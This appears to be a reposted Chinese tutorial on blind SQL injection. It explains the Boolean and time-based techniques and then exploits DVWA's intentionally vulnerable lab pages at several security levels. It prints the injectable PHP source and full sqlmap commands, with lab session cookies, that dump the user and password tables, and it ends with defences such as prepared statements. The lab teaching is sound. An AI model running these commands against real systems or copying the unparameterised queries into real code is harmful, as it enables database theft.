SQL Injection (Blind)之盲注(原理、分类、利用)

这篇具有很好参考价值的文章主要介绍了SQL Injection (Blind)之盲注(原理、分类、利用)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SQL Injection (Blind)盲注

一、SQL盲注概述

在SQL注入过程中,SQL语句执行后,选择的数据不能回显到前端页面,此时需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
在盲注中,攻击者根据其返回页面的不同来判断信息(可能是页面内容的不同,也可以是响 应时间不同)。一般情况下,盲注可分为两类:
基于布尔的盲注(Boolean based)
基于时间的盲注(Time based)

1.1 基于布尔的盲注

某些场合下,页面返回的结果只有两种(正常或错误)。通过构造SQL判断语句,查看页 面的返回结果(True or False)来判断哪些SQL判断条件成立,通过此来获取数据库中的 数据。

1.2 基于时间的盲注

又称延时注入,即使用具有延时功能的函数sleep、benchmark等,通过判断这些函数是否正常执行来获取数据库中的数据。

1.3 SQL盲注常用函数

if()

功能:条件判断。
语法格式:if(expr1,expr2,expr3):expr1
为true则返回expr2,expr1为false则返回 expr3。
注: 仅MySQL支持if(expr1,expr2,expr3)。

length()

功能:返回字符串的长度,以字节为单位。
语法格式:length(str)

substr()、substring()

功能:从指定的位置开始,截取字符串指定长度的子串。
语法格式:substr(str,pos)或substr(str,pos,len),substring(str,pos)或substring(str,pos,len)
参数说明
lstr:要提取子串的字符串。
lpos:提取子串的开始位置。
len:指定要提取的子串的长度

ascii()、ord()

功能:返回字符串最左边字符的ASCII码值。
语法格式:ascii(str),ord(str)
延时函数sleep()
功能:让语句延迟执行一段时间,执行成功后返回0。
语法格式:sleep(N),即延迟执行N秒。

二、SQL盲注测试

实验环境:DVWA

2.1 DVWA-LOW级别下的sql盲注

第一步:分析源码
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
 // Get input
 $id = $_GET[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0);
            } catch(Exception $e) {
                $exists = false;
            }
        }
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

由源码可以看到未对参数进行任何检查、过滤,只是回显的时候被隐藏,存在明显sql注入漏洞,返回结果只有两种,user id exiets in the database和user id is missing from the database。

第二步:获取url和cookie

启动Burpsuite,在SQL injection(Blind)中输入如下,然后查看Burpsuite中抓到的URL和Cookie。
sql盲注,sql,数据库,网络安全,安全,web安全

第三步:进行sqlmap

sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch
sql盲注,sql,数据库,网络安全,安全,web安全

发现有两个类型的注入漏洞,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap –u “http://192.168.1.9/dvwa/vulnerabilities/sqli_blind/?id=2&Submit=Submit#” --cookie=” PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch --dbs
sql盲注,sql,数据库,网络安全,安全,web安全

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa --tables
sql盲注,sql,数据库,网络安全,安全,web安全

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --columns
sql盲注,sql,数据库,网络安全,安全,web安全

第七步:查看user和password的内容并解密

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users --dump
sql盲注,sql,数据库,网络安全,安全,web安全

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=low” --batch -D dvwa -T users -C user,password -dump
sql盲注,sql,数据库,网络安全,安全,web安全

2.2 DVWA-Medium级别下的sql盲注

第一步:分析源码

if( isset( $_POST[ 'Submit' ] ) ) {
 // Get input
 $id = $_POST[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        $id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }
        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
} else {
    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

只能进行选择,所以使用BurpSuite进行拦截,在数据包中修改id值,然后在Response中的Render下查看结果。

第二步:获取url和cookie

sql盲注,sql,数据库,网络安全,安全,web安全
Cookie: PHPSESSID=c70fedb980dad8412a65b6d7; security=medium

第三步:进行sqlmap

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch
sql盲注,sql,数据库,网络安全,安全,web安全

注入类型为post,一个是基于布尔的,一个是基于时间的

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch --dbs
sql盲注,sql,数据库,网络安全,安全,web安全

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
sql盲注,sql,数据库,网络安全,安全,web安全

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
sql盲注,sql,数据库,网络安全,安全,web安全

第七步:查看user和password的内容并解密

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users -C user,password -dump
sql盲注,sql,数据库,网络安全,安全,web安全
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/#” --cookie=“PHPSESSID=c70fedb980dad8412a65b6d7; security=medium” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --dump
sql盲注,sql,数据库,网络安全,安全,web安全

2.3 DVWA-high级别下的sql盲注

第一步:分析源码
if( isset( $_COOKIE[ 'id' ] ) ) {
 // Get input
 $id = $_COOKIE[ 'id' ];
 $exists = false;
switch ($_DVWA['SQLI_DB']) {
    case MYSQL:
        // Check database
        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ); // Removed 'or die' to suppress mysql errors

        $exists = false;
        if ($result !== false) {
            // Get results
            try {
                $exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
            } catch(Exception $e) {
                $exists = false;
            }
        }

        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
        break;
    case SQLITE:
        global $sqlite_db_connection;

        $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        try {
            $results = $sqlite_db_connection->query($query);
            $row = $results->fetchArray();
            $exists = $row !== false;
        } catch(Exception $e) {
            $exists = false;
        }

        break;
}

if ($exists) {
    // Feedback for end user
    echo '<pre>User ID exists in the database.</pre>';
}
else {
    // Might sleep a random amount
    if( rand( 0, 5 ) == 3 ) {
        sleep( rand( 2, 4 ) );
    }

    // User wasn't found, so the page wasn't!
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

    // Feedback for end user
    echo '<pre>User ID is MISSING from the database.</pre>';
}
}
?>

限制了输出行数为一行,而且失败时 当他随机生成的数等于3就会随机休眠2-4秒,目的是干扰基于时间的盲注

第二步:获取url和cookie

sql盲注,sql,数据库,网络安全,安全,web安全

第三步:进行sqlmap

–second-order 当web程序输入与返回不在一处界面时,使用此参数监控另一处页面
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch
sql盲注,sql,数据库,网络安全,安全,web安全

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch --dbs
sql盲注,sql,数据库,网络安全,安全,web安全

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa --tables
sql盲注,sql,数据库,网络安全,安全,web安全

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --data=“id=1&Submit=Submit” --batch -D dvwa -T users --columns
sql盲注,sql,数据库,网络安全,安全,web安全

第七步:查看user和password的内容并解密

sql盲注,sql,数据库,网络安全,安全,web安全
做到这里我发现从一开始就错了,一个非常低级简单的简单的错误:我的url选错了,而且high等级有两个窗口,请求窗口和响应窗口,查询数据提交的页面、查询结果显示的页面是分离成了2个不同的窗口分别控制的。即在查询提交窗口提交数据(POST请求)之后,需要到另外一个窗口进行查看结果(GET请求)。
sql盲注,sql,数据库,网络安全,安全,web安全

我们还需要引入一个知识点–second-order(二阶sql注入)
构造函数:
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch
sql盲注,sql,数据库,网络安全,安全,web安全

第四步:遍历数据库

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch --dbs
sql盲注,sql,数据库,网络安全,安全,web安全

第五步:指定数据库获取表名

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa --tables
sql盲注,sql,数据库,网络安全,安全,web安全

第六步:获取表里属性的信息

sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users --columns
sql盲注,sql,数据库,网络安全,安全,web安全

第七步:查看user和password的内容并解密
sqlmap -u “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/cookie-input.php” --data=“id=1&Submit=Submit” --second-url “http://10.0.2.15/DVWA/vulnerabilities/sqli_blind/” --cookie=“id=1; PHPSESSID=c70fedb980dad8412a65b6d7; security=high” --batch -D dvwa -T users -C user,password --dump
sql盲注,sql,数据库,网络安全,安全,web安全

到这里就注入成功了!

2.4 DVWA-Impossible级别下的sql盲注

impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

三、sql盲注的防御

与sql注入的防御方法一样,这里再写一遍
1.使用安全的API(应用程序编程接口)
2.过滤危险字符,例如采用正则表达式匹配union、sleep等关键字,如果匹配到,则退出程序。
3.对输入的特殊字符进行Escape转义处理
4.使用白名单来规范用户的输入,对客户端进行控制,不允许输入SQL注入相关的特殊字符
5.服务器端在提交数据之前进行SQL语句查询,对特殊字符进行过滤、转义、替换和删除等操作
6.使用PDO预编译语句,PDO技术就是将查询查询的语句和输入的参数分开,先将需要查询的语句进行预编译,然后再将参数传入进去,注意,不要将变量直接拼接到PDO语句中,而是使用占位符进行数据库的增删改查。(PDO预编译是防御SQL注入最好的方法)文章来源地址https://www.toymoban.com/news/detail-757613.html

到了这里,关于SQL Injection (Blind)之盲注(原理、分类、利用)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • SQL注入-时间盲注

    当测试一个注入点时,我们使用多种方式测试,页面都显示正常,这就很难判断改点是否存在注入,可能会造成误断,这时候我们可以采用时间盲注的方法,来判断是否存在注入点以及猜解数据库信息。 时间盲注就是通过if 语句构造判断条件,是sleep函数来让数据库延迟查询

    2024年02月12日
    浏览(56)
  • DVWA——SQL注入+盲注

    目的:执行特定sql语句,获得其他相关内容。 攻击方式:动态构造SQL语句 影响:数据库的脱裤、修改、甚至影响到操作系统。 漏洞原理:直接使用原始sql语句,没有代码审查 漏洞利用: 步骤1:判断是否存在注入漏洞: 步骤2:判断当前表字段个数?:通过order by 排序字段

    2024年02月07日
    浏览(53)
  • SQL注入实战:盲注

    1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据

    2024年01月24日
    浏览(59)
  • 【SQL注入-布尔盲注】

    布尔型盲注应用于无数据回显,且WEB页面无报错信息的情况,此时不能通过报错型注入的方法来爆出数据,布尔型盲注的WEB页面只有两种回显结果,正确的页面以及错误的页面,且错误的页面无报错提示语句,正确的页面不能输出数据。 演示环境 phpStudy + mysql + sqlilabs 源码分

    2024年02月06日
    浏览(48)
  • 7、DVWA——SQL盲注

      盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。 普通注入与盲注的区别:   普通注入是可以根据报错提示,进行sql语句注入从而,直接爆出我们想要的信息,

    2024年02月08日
    浏览(33)
  • SQL 盲注

    问题描述:    解决方案: 通过建立过滤器方法 添加拦截器: web.xml 文件配置拦截器

    2024年02月12日
    浏览(32)
  • DVWA-----SQL Injection(SQL手工注入)

    一、SQL注入 1.SQL注入原理  2.SQL注入分类 3.SQL注入思路 4.SQL注入绕过方法 二、SQL注入漏洞的分析         1. 定义 2. 原因 3.危害 三、Web 程序三层架构 四、SQL Injection 1.LOW 2.Medium  3.High  4.Impossible          通过把恶意的sql命令插入web表单递交给服务器,或者输入域名或

    2024年02月02日
    浏览(43)
  • SQL注入原理及利用方式

    在Web表单递交或输入域名或页面请求的查询字符串,通过后端语言连接数据库并查询数据,攻击者可利用此漏洞拼接恶意语句获取大量数据。 在表单页面或者存在参数传递的地方可能存在SQL注入漏洞。 SQL注入漏洞类型 SQL注入类型可分为两大类:数字型注入(不需要添加特殊

    2024年02月06日
    浏览(32)
  • DVWA之sql注入——盲注

    1.1 布尔盲注 布尔很明显的Ture跟Fales,也就说它只会根据你的注入信息返回Ture跟Fales,也就没有了之前的报错 信息。 1.判断是否存在注入,注入的类型 不管输入框输入为何内容,页面上只会返回以下2种情形的提示: 满足查询条件则返回\\\"User ID exists in the database.\\\",不满足查询

    2024年02月05日
    浏览(61)
  • DVWA——SQL盲注(全等级)

    SQL盲注与一般注入的区别在于:一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知。一般有两种方式:布尔型和时间型。还有一种是报错注入,本章主要介绍布尔盲注。

    2023年04月12日
    浏览(36)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包